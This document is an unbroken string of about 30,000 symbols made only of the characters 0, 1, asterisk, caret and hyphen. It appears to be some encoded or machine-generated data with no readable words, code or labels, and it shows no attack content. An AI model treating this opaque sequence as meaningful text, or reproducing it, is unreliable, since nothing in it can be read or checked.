*01^1*^11010101^10-11*1*^^1*10-11*0101*01*1*110101*******00101*101**********^1*001********001^^1*001***********1*00^-*00110101******0-11*00101******01**01101**001******01******0^^11*-*001101010-010^-1*01^1*1*^1*****01**0-***0^^1*01*1*110101******0^101*0101******01**01^-*001******01**010-01*001*11*00-*00110101******11*01*0101******1**00--**1******1****01**1*0011*-*********001*0101********0-01******************************01*1*******************00--********011*11*********01*0101*10-1*01*1*-1*01^1**11*-----10---101011*-*001*01^1*1101*0-11*^1*0110101*1^-11010^^110101*^1********-01011*00^1011*01*1*1*^1********110^11*00^1011*01*1*-----10--11010-1*-*001*01^1*1011*0-11*^1**110^1**00--1^11*011*001*1*--------101**00-*001*01^1*01101*011*001^1*-01*0110--0101*1101*--------1^1**-*001*01^1*-01**1**110^1**00--101101*011*001*1*--------01*1*00-*001*01^1**11*011*001^1**11*--------101101*00-*001*01^1*0-1*0101*0110101*******-01*101******01**01101**001******01**0--**1*11****011**10-001*10^1101**-^-0^101^-*001*0101*11011*1011*0-11*011****01**0^^11*101******1**0011*1**1******1***101**00^^10-11010^^1101*********11*1*00^1*^1********1*1101*001*011*01*1*--------0^-*0-*001*01^1*^1101******1*001010-01*001*010^1*********10101*00^1101*01*1*10101*00110^1**00---101*011*001*1*0-*-0101*001*01^1*1*^-110110-11*0101*01*1*011*001^1*^11*1101*00101****1**0^11*1^-0^--10101*1011*11*10-0101*001*01^1*10-*101**0110^1**00--1*11*011*001*1*-1010-0101*001*01^1*^1101010110^-11*1*^1*****01**00^^1*00^^1*01*1*011*001^1*01101*********-11011********-1101********00^1*********1*0-********1^11*********010^1********1*01********001^11*******************01^11********001*0-********-1^1********1*1101********00-101********0-*0101*1*01*01*1**1*01^1*11011*1011*01^1*001****01**001**0--*11*01^1*001****01**0-010^--01101*01^1*001*******010101010--00101*01^1*001****01*****0--0^1*01^1*001*******0-11010--001101*01^1*1**11010^1*1******001010101*****001***1^1***11***1^11011*1*******0010101*********11********1*00-101******1**0-1101******1***01011****************00-*1*001********0010101*11**1*0-10101*1101*1^1**11*-----110--10^---00^101^-*-1*001*1**1*01*1*0^10-10101*1101*1^1*01101**1*01^1**11010-01**1*01*1*******************0011011*********11011*******************0011011*******************001101*********0-*00101*^1101*1*1*01101*1^1*00-****-101101^^11**0-10110101****01**00101*-101^11*001*1*011****001**-01^-101^11****01**0010101*0010^101*001*1*01**011*001*1*011****001**^-00-101^11*****1*00110^1*010^1*******0011**0010-0110101******0--*0101******1**00101011**1******1**0110-1**1*11****01**01*001*0101*0101*11011010^1*00-00-00^11*00^10-*00101*001*001*1*1*******0011**0010-0110101******0--*0101******11**-1011**1******11**0--**1*11*******00101011*10^^-*011*001*10-1101**01*-1*********011*01*001*01*001*1*001****001**1*01*--0011*001*1*011****001**10101^-101101*******0011**0010-0110101******0--*0101******01**01*101*001******01**1^1101*001*11****011**10-001*10^1101**-^1*^1011011**01*0101*^11*01101*001*001*1*011*001*1*011****001**1^1^-101^11****01**0-001*00101*1**011*001*1*011*001^1*011****001***01^1^-0011*00--------1010101*0-*0101*1^1*11011*101*001^1*011****011***001*0010^1*******0011**0010-0110101******0--*0101******01**^101**01******01***-**01*11****001***1^1*10^^11*01*11011**10-00-01***1*0101*001*001*1*^--10101*1101*^1*-0101*0101*1^1*1*^1*****01**0-0^1*00^1*1*1*1*0011**1101*01*001*1*^1^-0101*0101*1^1*^110101^1010-11*1*^1********1^^1*00^1011*01*1*001*001^1*110101******01*101*101******01**0-1011*001******01**00101011*00^110101******0-101*0101*-1*-11*00110^-11*^1*0011****001***1^1*101*0011*01*11011**10-00101011**001*0101*-**101****1**001101*0--********0101101********************-1***********1**********01*****************************0-^1*****001**0-101********00^1*0101*1*101*1*1*00101*1^1*^11*-----110--^1011*0-001101*01^1*^1101*****0011*1*01^1**^1^^1*****01**00110^1*001*^1*1*1*10101*11010^1010--0101*^1*-11*-----110--001*01*-001101*01^1*^11010-11010-11*1*^1^10110-11*1011*01*1*-1**110^1**00--1^1*0-11*^1*01*1*-----110--1101^1*-001101*01^1*1*^1*01010-11*0-*01*1*^1*01^1*-01*^10-11010^^1101******-10^11*1**1*010^1*****01**01*-**^-1*01*1*-----110--010-01*-001101*01^1*^1101******-01*-1011*001*010^1*01010-11*0011*01*1*0^1*00110^1**00--101101*^1*01*1*-----110--1^1011*-001101*01^1**11*-11*^1*01^1*^1*0-11*1011*00101^1*1*01*1*-*001*1*1010--0101*0011*-11*-----110--01010-*-001101*01^1*-01**1**110^1**00--10-1*^1*01*1*-----110--^-11*-001101*01^1*^11*^1*01^1**11*0101*00101****01**0^1*1^-00110--010^^11*-----10--11011**0-001101*01^1*00101*-11*^1**110^1**00---101*^1*01*1*-----10--110-**-001101*01^1*01101*-11*^1*01^1*01011*0011*0110101******01*101*101******1**00110-1*001******1***--*00^-**101****1**001101*0--*110-11010^^1101********011*011*00^1*^101*110-11*0-*01*1*-----10--^1^1*0-001101*01^1*1011*0-11*^1**110^1**00--1^11*^1*01*1*-----10--^-01*0-001101*01^1*^1101********0^11011*00^1*^1*****01**0110^1**^1*1*1*1*^1*01^1*11011*-----10--^10-*0-001101*01^1**01*-11******001**-01101^-*001*00110--0101*0011*-----10--1011*01*-001101*01^1*10-**1**110^1**00--101011*^1*01*1*-----10--11010^1*-001101*01^1**110101^1*-11*1*^-110110-11*1011*01*1*^1*01^1*00-*-*001^1*110101******0010-*0101******11**0-0011*001******11***^11*001*001*0^10-11010^^110101*^1*****01**001*11**1**1*1*1*1*^^101*-11**01*1*1*-----10--1^^11*-001101*01^1*^1101*****0011011*10110101*001*010^1^11*-11*0011*01*1*0^1*00110^1**00---011*^1*01*1*-----10--101*-*-001101*01^1*1101*0-11*^1*01^1*0-1******011***11**-001010--010^1101*0-11*-----10---10-1*-001101*01^1*^1101*****001010-01010^1*001*010^1*01^-11*0011*01*1*0^1*00110^1**00--110-*^1*01*1*--------*01**-001101*01^1*^1101******1101101^10101*001*010^1*****001***-**0^-1*01*1*^1*01^1*10-**1*01^1*01101*00110-11010^^110^-0110-11*1*^1********01101101*001*-*01*1*--------*-*00-001101*01^1*0-*0-11*^1**110^1**00--^-*^1*01*1*--------*^1*0-001101*01^1*1*^1********-00101*00^1011*01*1*^1*01^1*^11*1101*0011****001***1^1*101*0-*01*11011**1101^^11*1*001*0101*00110-11010^^1101*****00101*00--01*001*010^11*-0-11*0011*01*1*--------0010-*0-001101*01^1*0101*0-11*^1**110^1**00--1*11*^1*01*1*001*0-010^1101*01^1*0^1*-11*^1*01^1*01101*********0101^1*****01**0-00101*****01**0010-01*********-11*****01***00-*****001***^11*****001**011*001*****001**1011*******1**-1*********0^1******001**0^11*********101*1********001*11*****001**00-001********010-11********011010101********01^1*******************0-1^1*****01**00101******001**00^-1********00101011*****01**011*-*****01***10^1*****01**01*11******1**0-00101********01^1********0011011*101*101101*01*1*1101*01^1*^1*0-11*0^1*1^1*001****01**0^110^--01*1*1^1*001*******0-11010--*001*1^1*001****01**001**0--0-1*01^1*001*******010101010--00-*01^1*001****01**0-010^--01011*01^1*001****01*****0--*11*01^1*001*******-1*10--001101*01^1*1**11010^1*1******0^10101******1*001010-***0101**001^11011****10101*01********1^110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01********1^-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1******0010101*11****01***0101*00101*11*******011**0010^-01*-*0010110101011*-*101**1********00110-11*001*1**0101******0011*01*0101*1*****1101*01^1*********1***-*110^1*****0-----10--^11011*0-*01*001^1*0-1*01010^1*******0011**0010-0-*00-----10---0-1*0-*01*001^1*0-1*--------^10-*-00^110^10^10-11*1*^1********^^11*001*101*01*1*-----10---00^1*-*01*001^1*0-*0-11*********^1*0^-0010-01*011**1101*01*00101101*-00--010101*10-11*-1101011**1*^-011010-11*001****01**0-010^--011011010-11*001****01**0-010^--010^1*001**11*00-0010-11*0101**011010-01*011*00-----10--^1*11*-*01*001^1*^1101******101*0110-01*001*010^1*****001**10-**00^^1*01*1*1101*00101****1***10^1*10^11011******011**0011*101**-----10--110^-*-*01*001^1*0101*0-11*1101*00101****1***001011*10^11011******011**0011*101**-----10--1010-11*-*01*001^1*^1101******0-*001*01*00^1^^1^10^-11**1*01*1*1101*00101******00-*00-1011011011******011**0011*101**--------*11**-*01*001^1*0101*0-11*1101*00101*******11*00-1011011011******011**0011*101**--------101101*00-*01*001^1*^1101********01^-1*00^1*^1********01101011*00^-*001*1*1101**101*--------010^11*-*1101*--------*01011*-0010-*--------01101011*-00^1101*****00101010110101011**1*010^-^^-11*101*001*1*--------01^-*-00^1101********01010-1*00^1*^1*****01**00--**1*11*001*1*--------1^-*0-*01*001^1*00-*********1*11********00110101********0011011**********1**********1*00101*101*01^11*00^1101*110^-11*1*011011**001*00--------*1^1*-*01*001^1*0-1*0101*001101*--------01*101*-*01*001^1*^1101******^11*0010-*001*010^1********101*01*00^101*001*1*01^1*11****01**010^1**1011*****01**0010-********0010^101********10--********00-001********^-11*****01**0^^1********010^1********0011*011********^-1*********00^1****************1**001*01********011011*********^-11*********11011********-1*0101*1*1*001*1*********0-101*0-*101*01^1*001****01**0-010^--0^1*01^1*001*******010101010--*01*01^1*001****01**0^110^--0-*001^1*001*******0-11010--0011*001^1*001****01**001**0--0101*001^1*001*******-1*10--001101*01^1*********1***-001*1*******010101*****01**0010^11**00-***1^1^1***00--------11*1*00-00101*001^1*0-1*01010^1*******0011**1010-0-*00--------0^11*00-00101*001^1*0-1*--------01^-*-00^1101******---001101*001*010^1**********01*00^-*001*1*--------101^1*0-00101*001^1*^1*0-11*********^1*010-^^110^101101*-*^1**01*******001**1011**01*011******001**00-101**^1011*001^^-11*0101**011010-01*011*00--------0^-*0-00101*001^1*01101*1101*00101****1**01011*1*10^--------**01*-00101*001^1*01101*1101**101*--------1^-1*-*0011*--------*0^1*-00101*001^1*00-**********1*********01**0101*101*01^11*00^11010-00^-11*1*01^1**11**--------^10101*-00101*001^1*^1101*010110-11*1*^--^-11*011*001*1*0101*001101*--------010-01*-00101*001^1*0101*0-11*01^1*11****01***^1**1011********-0^1********-1*********0-1*1*********001*********-^1********--*********0^11********0-0101********00-^1********^^1*******************-0101*********11*0101*10101*001*1*********011*1*0-00-*001^1*001*******-1*10--0011*001^1*001****01**0-010^--001101*01^1*********1***-001*1******0-00101********-0-1**00101***1^1^1*1*******0010101*********^1*******01***-1******1*0010-001********1^101***********1*******0010101*********011*******001**101^1*****001***-11*****01**001*101****************00101^1*001********0010101*01*001*1*-----1010--101*1*-00--------001*1*0-0010101*1^1*00-*--------1^-1*-0010-*--------0^101*0-0010101*1^1*^1*0-11*********^1*0^-001**00--1^11*-*001*1*--------10^11*0-0010101*1^1*0011*0-11*-*001^1*-01*--------0^-1*-*011*0-11*--------*-1*0-0010101*1^1*01011**********1*0^-001**00--101101*-*001*1*--------0101*1*-0010101*1^1*0-1*-*001^1**11*0101*00101****01**0^1*1^-0--------1^-1*-*-1*--------1*0101*-0010101*1^1*-01**********1*0^-001**00---101*-*001*1*--------1^1101*-0010101*1^1*1011*0-11*-*001^1*^11*010101*11**********-**********-01*****************************001010-********0-011********0010-11********001*001********01***********0101*********-01*********-01********001^1*********1**********0-*0101*1010101*1*1*10101*1^1*1101*0-11*********101*-0-01^1*001^1*011**1^1********00^1*010-0--------11*-01*-*^1*1^1*01101*-----^--^-0--^^101^-*1101*001*1*011*001*1*--------110^11*-*^1*1^1*1*^11*0110-11*1^1*1*1*011*001^1**11010-01*011*001*1*****************************************0^1*******************0010^1********0010^1********00-*00101*^^1*1*1*0^1*1^1*01011***********0010-01101^1*********11*0010-0110101****01**00101*-10110^1*0011*00--------0^-1*-001011*0-11*-----110---11**-*-*01^1*01101**********1*0010-00110101******010-1*0101********0011*011*001*********0010-*001*11****001***-00-10110^1*0---------10-*-001*^1**10-11*0011*01*1*-----110--110^1*0-*-*01^1*0-1**********1*0010-00110101******010-1*0101******1***110101*001******1**0-*01*001*11****001**01101^-10110^1*0--------0^-1*-001011*0-11*-----110--0010-*0-*-*01^1*0-*0-11*********^1*0010-00110101******010-1*0101******11**0^11**01******11**^11**001*11****001**00101^-10110^1*0011****001**1^1^-101^11****01**01*01*00101*1**^1*0011****001**-01^-101^11****011***101*00101*11****001***1^1*10^10-*01*11011**1101^^110101*001*0101*011****01**01*001*0101*0101*11011010^1*00-00-10^11*001*0011*00101**1*0^1*0--------0^-1*-**1*-11*-----110---^11*-*-*01^1*^1101********011*-*00^1*^1*****01**0101*11*001*011*01*1*********10101*^-00110101******11011**101******1**00101011**1******1**010-11**1*11****011**10-001*10^1101**-^-0^11*-1*001*0101*-01*1*1*-11**1*0-----10---1**00-*-*01^1**01*-11*011****001**-01^-10110110101******1011**0101******01**10-001*001******01**10^-*00^110101******1*1101*101******1**0-***01******1**01^101**1*11****011***101*00101*11****001***1^1*101*0-*01*11011**1101^110110101*001*0101*011****01**01*001*0101*0101*11011010^1*00-00110-0011*00^10-*00101**1*0011*******10101**10^10^^-11*-01*-11*^1*0---------10-*-001*^1*01010-11**01*1*1*-----10--101^11*0-*-*01^1*1*^--110-11*-1*01*1*********0011*0^-00110101******11011**101******1**00--1*001******1**0^10-*001*11****01**01*001*0101*0101*11011010^1*00-00--0011*001*0-*00101**1*0011****001**10101^-101^11****011***101*00101*11*******00101011*10^^-*011*001*10^101**00^^11*0101*0-11*011*******00101011*10^^-*011*001*1010-01**01*1101*********10-101*001*001*0^1*0--------0^-1*-001101*0-11*-----10--^1*11*-*-*01^1*^1101*********110-*00^1*^101101*-11*0011*01*1*********0^1*^-00110101******11011**101******1***00-**1******1**0-0011**1*11*******00101011*10^^-*011*001*101010101**01*1011*********110-11*001*001*0011****001**^-00-10110110101******0-101*0101******01**^1101**1******01**1101011**1*11****011***101*00101*11*******011**0010^10-*-*0010110101011*-*01**01********00^11011*001*11****011**0011*1*101*^11*1*110110^1101*011*001**********************1*0^11011**1*0011*******00101011*10^^-*011*010^1010-101**1*0-*********-1*1*001*11****011***101*00101*11****011**1*-*0101*-**^1*01101010-001**^-01********************-*01*01*11****011**1*-*0101*-**^1*0110101**1**1*1011********************011*01*01*001*0^1*0--------1^-1*-00^11*--------0--*0-*-*01^1**11**********1*0^-00110101******11011**101******11**10^101*001******11**0^1101*001*11****011**1*-*0101*-**^1*0110101**1**1*1011*******************001011*01*01*001*01011*0011****001***01^1^-******1**0^1******01**010110-*****001***^1******1**00^101*****01**0^1101*****001**01*01*********10-01****************01**0010-****************01**00-0101********10-1*********00-11********010-01********10-1******1**0^1101******1**10-001********1*1*101*^-*01*1*0-*01^1*^1*0-11*0011*00101^1011*001*1*101*001*1******011**00-1*00-*11*001^1*01101*101*001^1*-*******001*0010110^10-01^1*001^1*011*00--------0^-1*-00^1*0-11*-----10--^101011*-001101*01^1*11011**********1*0010-00-*00-----10--101*-*-001101*01^1*01101*1101*0011****011**10^1*00101*11****011**1*-*0101*-**^1*011010-01101**1*-1********************11*001*0^110101******1*0101*101******11**10101**001******11**1^101**^110101******0-*1*101******1***001011*001******1**00-1011*001*11****011**0011*1*101*^11*1*110110^1^110-*001*******************0^1*01*01*-1*110101******-1*1*101*********10^11*001*********001*1*001*11****011**1*-*0101*-**^^1101010^1^1**^^11********************-*01*01******001*001*00-0-01^1*001^1*011*00--------1^-1*-*0011*---------0011*0-001101*01^1*^1101********01101*1*00^1*^1*01*-11*0011*01*1*********0^1*010-00110101******-01101*10^1010-0-11*1^1*-11*110101******0-*1*101******01**00-11**1******01**0^-**1*11****011**0011*1*101*^11*1*110110^1101*-*001*******************001**1*01*0-*110101******-1*1*101******01**00^11**1******01**01^1**01*11****011**1*-*0101*-**^^11010101*^1**^10-********************01*001*01*********011011*****001***01******001**01^1*********0010-****************01************************011011*********10-*******************11010-********1101*0101*101101*01*1*1101*01^1*-01*******1*00-0-1^-001**00--1*11*-*001*1******0101***-*0-00-*001^1*01101********************001**********01*********011***********1*********0101*00101*10^1*01*1*^1*01^1*01011*0011*01^1*001*******0-11010--*001*1^1*001****01**0-010^--0-1*01^1*001****01*****0--01^1*1^1*001****01**001**0--001101*01^1*********1***-001*1******001^101*****0101*001*0011**00^1**001^11011****10101*01*******-0^110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******-0^-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*11****01**001*1*00101*11*******011**0010^-01*-*0010110101011*-10101**0^1*0010-11*01**0101******0011*01*0101*1*****1101*01^1*********1***-*101*1*****0--------0-1**-001011*0^1101*****00-0^10--**1*010^110110110-11*-*001*1*01010^-*00--------1*11*00-001011*0^110^-1010-11*1*^1*****01**0011***01*11*001*1*--------0010-1*-*0011*--------*^1*0-001011*011011*********-*00^-0010-01*011**1101011**0101101010^^11**0101**011010-01*011*00---------1101*0-001011*0^1101******^^1*-1**1*010^--110-11*101*001*1*1101*00101****1**010101*-1011011011******011**0011*101**--------00-11*0-001011*01101*0-11*1101*0-01*--------01010-*-00^11010-11*-11*1*^1********0-^1*001*01*001*1*--------0110^1*-001011**-*********-*********001**0101*101*01^11*00^1101*011*-11*1*011*1*0011**--------0-0101*-001011*0^110^11*10-11*1*^-101*001*001*1*0101*001101*--------10-101*-001011*00-1*01^1*11****01**0-11**01011********1101011********01101^1********0-001********01011********************001*1*********01*1********1101^1********0-001********0^1^1********00-*********0-001*********11*0101*10^1*********011*01*0-00-*001^1*001*******010101010--0011*001^1*001****01**001**0--0101*001^1*001*******-1*10--*1*001^1*001****01*****0--001101*01^1*********1***-001*1******010^101*****01**00101****11***01^1^1******0--------0-001*0-*10101*1^1*11****01**00-1**01011********-*********00-**********11*********00-********************0101*00101*10^1*01*1*^1*01^1*01101*01010^--------^10-*-00^1101********001*-*00^1*^1^-10-11*-*001*1*--------0010101*0-*01*001^1*10-**********1*0--00^1101*01*01101101*011*-*******1**010-011*001*011******001**001*011*00^1101******0011**010-01*001*101**011010-01*011**101*******010-0-1011011011******011**0011*101**--------011*01*-*01*001^1*^1101******11*11010^1**^1^^^101*-11*101*001*1*---------10-*-001*^11*0110-11*011*001*1*--------01*101*-*01*001^1*^110101^^1********01^101*00^101*001*1*1^^1********01^101*00^101*001*1**********11*********1**0101*101*01^11*00^11010-*10-11*1*011*1*0011**--------110^11*-*01*001^1*-01*0101*001101*********10-1********001*^1********-^1*****************************00-^1********00101101********00101*********010-1********00^1*0101*1*1*001*1*001*001^1*01011*-*001^1*001****01**0-010^--0011*001^1*001****01**001**0--0101*001^1*001****01**0^110^--001101*01^1*********1***-001*1*******^101*****01**0011*****1***1^1^1*--------01011**-*01*001^1*10-*01010^1*******0011*-0010-0-*00--------^101*00-*01*001^1*10-*--------1^-1*-*1101*---------011*00-*01*001^1*^1101*********^-*00^1*^^110110-11*101*001*1*********0^1*^-0010-01*011**1101*01*00101101010^1*001**11*******1**1^-**1*101**011010-01*011*00---------1101*0-*01*001^1*0-1*1101*00101****1**0010^--011011**11011******011**0011*101**--------0010-*0-*01*001^1*0-1*1101**101*--------01^-*-00^1101********0^10-*00^1*^1********00-001*001*11*001*1*--------1*^1*-*01*001^1*^110101^1^-11*1*^110110^-11*101*001*1*********-1*********01**0101*101*01^11*00^1101*-^-11*1*0110101**01*00--------1*1101*-*01*001^1*10-*0101*001101*--------110-01*-*01*001^1*11011*01^1*11****01**010-**01011********1010101*********011**********1^1********0101011*********011*********110^1********00-*********0-00101********1010101********************1^1*********00101********0011*0101*1*1*001*1*********101*1*0-*11*001^1*001****01**0-010^--0101*001^1*001****01*****0--001101*01^1*********1***-001*1******011*101*****01*******0011***01^1^1*********--------^11**-00101*001^1*^1101*********010101*00^1*^-01*0-11*-*001*1*01010^1*******0011**1010-0-*00--------0^11*00-00101*001^1*01101*--------1^-1*-*1011*--------**1*0-00101*001^1*^1*0-11*********^1*010-^^110^1011010^1*0-11*^1**01*******011*01011*1*001*011******001**010^11**^1011*********0-*11*001*101**011010-01*011*00--------^1011*0-00101*001^1*^110^-*0-11*1*^1^-10-11*011*001*1*1101*00101****1***11*1*10^--------0--*0-00101*001^1*00-*1101**101*--------01010-*-*10110^1011*1*^1********-01101*001*11*001*1*---------0^1*-00101*001^1*10-**********1*********01**0101*101*01^11*00^1101*1*10-11*1*01^1**11**--------*01101*-00101*001^1*01101*0101*001101*--------010-01*-00101*001^1*1101*0-11*01^1*11****01***-**01011********-1*********0-1*1********-1*1********110^1********01*001**********11********00-^1********-0^1********11*01********0110^1*******************^11*********0011*0101*10101*001*1*********011*1*0-00-*001^1*001****01**001**0--0011*001^1*001****01*****0--001101*01^1*********1***-001*1******001*101*****01**01*****101***1^1^1******0--------0^1**-*01*001^1*^11010-11*-11*1*^1********01*101*001*001*01*1*01010^-*00--------01^1*00-*01*001^1*0101*0-11*--------^10-*-00^1101*****001^11*0--*001*010^101*010-11*-*001*1*----------*00-*01*001^1*-01**********1*0^-0010-01*011**1101011**0101101010^^11**0101**011010-01*011*00---------0101*0-*01*001^1*10-*1101*00101****1**00101*-11011011011******011**0011*101**--------1101011*0-*01*001^1*10-*1101**01*01*******001010-110101*0--101**0^1*--------01^-*-00^1101*****001101101*0^1**1*010^1*****01***00-**1*11*001*1*--------*0^1*-*01*001^1*^1*0-11*********^1*********01**0101*101*01^11*00^110^^-0-11*1*011011**001*00--------01010101*-*01*001^1*^1101010101010-11*1*^-00-0-11*101*001*1*0101*001101*--------110-01*-*01*001^1*^11*01^1*11****01**011011**01011******************00-11*********001^1********011*101********0^-********00-101********011*101********11*101********0-*********010^101********0101^1********0-101*********11*0101*1*1*001*1*********101*1*0-*001*01^1*001****01**001**0--0-*001^1*001*******-1*10--0011*001^1*001*******010101010--0101*001^1*001****01**0-010^--001101*01^1*********1***-001*1******01*0101*****01**001101***0011***01^1^1*1*******0010101*********1011******0011****1******1**0-101********001*-****************00-*1*00^1010^1101*01*1*------0--1^101*-00-----10--11*0101*-0010101*1^1*^1*0-11*--------1^-1*-0011011*-----10--1*01101*-0010101*1^1*^1101******-011*01*1*00^1^^1*****01**0^1101**^-1*01*1*********10101*^-001**00---011*0011*01*1*-----10---1^11*-0010101*1^1*01011*0011*01^1*-01*--------1^-1*-*1011*-----10--1*00-*-0010101*1^1*^1101*****001011*011*11**^1^^1^10110-11*-1*01*1*********0^1*^-001**00--101101*0011*01*1*-----10--^--*-0010101*1^1*10-*0011*01^1**11*0101*00101****01**0^1*1^-0--------1^-1*-0010-*--------1^1**-0010101*1^1*^1101********00110^1*00^1*^1********^^11*001**1*1*1*********10101*^-001**00---101*0011*01*1*--------0^11*00-0010101*1^1*^11010-00^-11*1*^1*****01**01101*1*00^-01*1*1*0011*01^1*^11*---------*1*0-0010101*1^1**11*1101*00101****1**01*01*00101*11****011**10-001*10^1101**-^-0^1101*11*001*0101**11*00101*-11*0101*******01^11*101*11****011**0011*1*101*^11*1*110110^11*0-**1*******************0^1*01*01*-1*--------1^-1*-00^11*--------01*001*-0010101*1^1*^11010^-00-11*1*^110110^-11**01*1*1*********-1*0^-001**00--1*11*0011*01*1*--------1101^1*-0010101*1^1*^110101*^101010^-11*01101*1*1*1*^1*********1*1*001*1101*1*1*0011*01^1*11011*010101*11*********0011011011*******************0010101*****01**01101*********001^-********01******************1**0^11*********01011*********^-01*****01**01101******001***101*********01^-********11*001********0-011********001011*********^-********001*1*101*1010101*1*1*10101*1^1*0101*0-11******01***01011010-0-101*01^1*0101****01**0^1*1^-001^1********001011*010-0110101****01**00101*-101^101*01*1*011****001**^-00-101^11****011**0011*1*101*^11*1*110110^110-1**001*******************011**1*01*0011*0101*01*1*011****001**1^1^-101^11*******011**00101*0-*-*0010110101011*11011011**0^10101010-11*0101*01*1*011****001**-01^-10110^1*01*1*0101*01*1*011****001**10101^-10110-*001*1*0101*01*1*0101*01^1*011****001***01^1^-0011*00-----110--010-11*-*^1*1^1*0011*0-11*^1*01^1*110101******001^1*0101******11**0101^1*001******11**0^1101*00^110101*******-*00101******11**0^1101*001******11**0-*1*00^-01*110101******-*1*0101******01**00101**001******01**1011***^110101******0101101*0101******11**-01011*001******11**1011*1*00^101*001*1**1*01*1**1*01^1*0101****1**01^^-00-0011****001***1^1*10^-01*01*11011**1101^^101011*001*0101*-----10--1^1101*0-*^1*1^1*^1101*****00-0-01010-1*00^1^^1*****01**00^-**^-1*01*1*-*001^1*110101******001^1*0101******11**1010101**1******11**10-11**^110101*******-*00101******11**--1**1******11**11*01**^-01*110101******-*1*0101******11**0-^1*001******11**-*01*00^110101******0101101*0101******11**00-11**1******11**01^1**0^101*001*1*011*001*1*-----10--11*1101*-*^1*1^1*^1101******11011***1*00^1^^1*****01***0-**0^-1*01*1*011*001^1*0101****1**01^^-00-0011****011**1*-*0101*-**^1*01101010110-**^10-*******************001011*01*0^101*001^1*110101******1*0101*101******1**010110-*001******1**011010101*001*01*001*1******001**001*-0-0-101*01^1*011*00--------0^-1*-*101*0-11*--------11***-*^1*1^1*00-**********1*0010-00110101******-01101*101*********01*11*001*********1*101*001*01*001*1*--------1*01*00-*^1*1^1*^110^-1010-11*1*^110-*1^1*1*1*001*001^1*110101******0-*1*101*********010-1*001*********10-11*001*11****001***1^1*101*1011*01*11011**1101^11*0101*001*0101*^1*0--------101^1*0-*^1*1^1*01101*1011**01*0--------1^-1*-*1101*--------10-01*0-*^1*1^1*^11**********1*0^-00110101******-01101*101******11**00110101*001******11**110^11*001*001*0--------010-1*0-*^1*1^1*01101*1011*0-*00--------0^-1*-001011*0-11*--------1101*1*-*^1*1^1*-01**********1*0^-00110101******-01101*101*********010-1*001********001^^1*00^-*001011*0011****011**0011*1*101*^11*1*110101^-011*1*001*******************00101*01*0^-01******01***11*********011*01*****001**011*011******************00^^11*******************1^11*****001***^11********01*0011*******************0-001********01^11*****001***^11********0^-**********-********0-1*0101*^^1*1*1*0^1*1^1*11011******001**001010-00-001**00--101011*0011*01*1*--------1010101*0-*-*01^1*^1101*1*10-11*1*^-101**01*1*1*0011*01^1*01011*--------01^11*0-*-*01^1*00-*0011*0110101******--*00101********001*^1*001********00-1*1*001*11****011**0011*1*101*^11*1*110110^11010-**01********************11*01*01*0-*110101******-1*1*101******1**01^-**1******1**01*11**01*11****011**10-001*10^1101**-^1*^11*101**1*0101*^11*-11*-11*--------1^-1*-00^11*--------10101101*-*-*01^1*^1101******0101^^1^1*00^1^^--^-11*-1*01*1*********0^1*^-001**00--1^11*0011*01*1*******1**010101*0-*011*01^1*01101*******************001^-*********01*********0010101*********01*01********001*01******************************01*0101*^-*01*1*0-*01^1*10-**01*1^1*001****01*****0--0-1*01^1*001****01**0^110^--01^1*1^1*001****01**0-010^--0-01*1^1*001*******0-11010--001101*1^1*001****01**001**0--001101*01^1*********1***-001*1********101******1**00-01***11***1^11011****10101*01*******0110^110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******0110^-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*11****01**0^11**101*11*******011**00101*0011*-*0010110101011*110^11**0^11010^-11*01**0101******0011*01*0101*1*****1101*01^1*********1***-*101*--------1101101*00-001011*01101*0-11*01010^11011********^1010-0-*00--------00-1*00-001011*01101*0-11*---------00-*-00^1101********011*001*00^1*^1*****01**00^-1*001*11*001*1*---------0101*0-001011*01*^11*0110-11*101*001*1*********1101*0^-0010-01*011**110^1**0101101010^1*1**0101**011010-01*011*00--------0^-*0-001011*001101*1101*00101****1***10-1*10^----------1*0-001011*001101*1101**101*--------0010-1*-00-01*--------0-*1*-001011*010-*********-*********001**0101*101*01^11*00^110101101*0-11*1*011011**01**--------01^101*-001011*0^1101********01*0-*00^1*^1********1101*1*001*01*001*1*0101*001101*--------00-101*-001011*0^1*0-11*01^1*11****01**001101**01011********00^1*********-*1********0-**********01101********001*01*********01101*******************1010^1********011*01********01*01********0110^1*********01101*********11*0101*10^1**********1*1*0-*11*001^1*001*******0-11010--0101*001^1*001****01**001**0--*1*001^1*001****01**0-010^--001101*01^1*********1***-001*1******0-1^1********0010-1**0011***01^1^1*1*******0010101*********11********1*00101^11*****01**0101*01*****011***^1*****************-*1*001******10101*11*00-1^-010^11011*1^1*01011*-----110--^1*--^^101^-*10101*01*1*1101*01*1*-1010-010^11011*1^1*10-*1101*01^1**11010-01*1101*01*1*010-0-010^11011*1^1*0-1*-----110--^110--1^^101^-*^11*01*1*1011*01*1*010^-1010^11011*1^1**11*1011*01^1**11010-01*1011*01*1*********11011*********01^1********0011011********************11011*******************01101******************************00^1*0101*1011011*1*1*11011*1^1*^11****-101101^^11**0-10110101****01**00101*-10110^1*01*1*011****001**^-00-101^11****011**10-001*10^1101**-1*^^1*^1**1*0101*01011*-01*-11*^1*01*1*011****001**1^1^-101^11*******011**00101*1101*-*0010110101011*1101011**001*********-0-*00^^1*01*1*011****001**-01^-101^11****001***-01*10^-01*011*****1**^11*00101*001*01*1*001****001**00-*0--0^1*01*1*011****001**10101^-101^11****001***-01*10^-01*110101******1*1101*101******11**1^^1*001******11**-*11*00^-*001*1*^1*01*1*^1*01^1*011****001***01^1^-0011**110--010^-01*-----10--10110-1*-00^11*1^1*10-**1*010110^110101******010-1*0101******1**011*101*001******1***01*1*001*001*01*1*0110--010^-01*--------00101**-00^11*1^1*^110101*1010-11*1*^1*****01**00101***^10101*1*1*0^1*10110^110101******010-1*0101******11**-01101*001******11**00-001*00^-*001*1*--------^-*00-00^11*1^1*^110^1*^-11*1*^110-*-11*00101*1*1**1*01^1*110101******001*11*101******11**1**1*001******11**00--*00^110101********01*101******01**-11**001******01**001^1**1*11*******00101011*10^^-*011*001*101^1***1*0-*********10-011*001*11*001*1*--------010-1*0-00^11*1^1*0101101*011*1*^11*0110-11*-01*1*1*-*001^1*110101******001*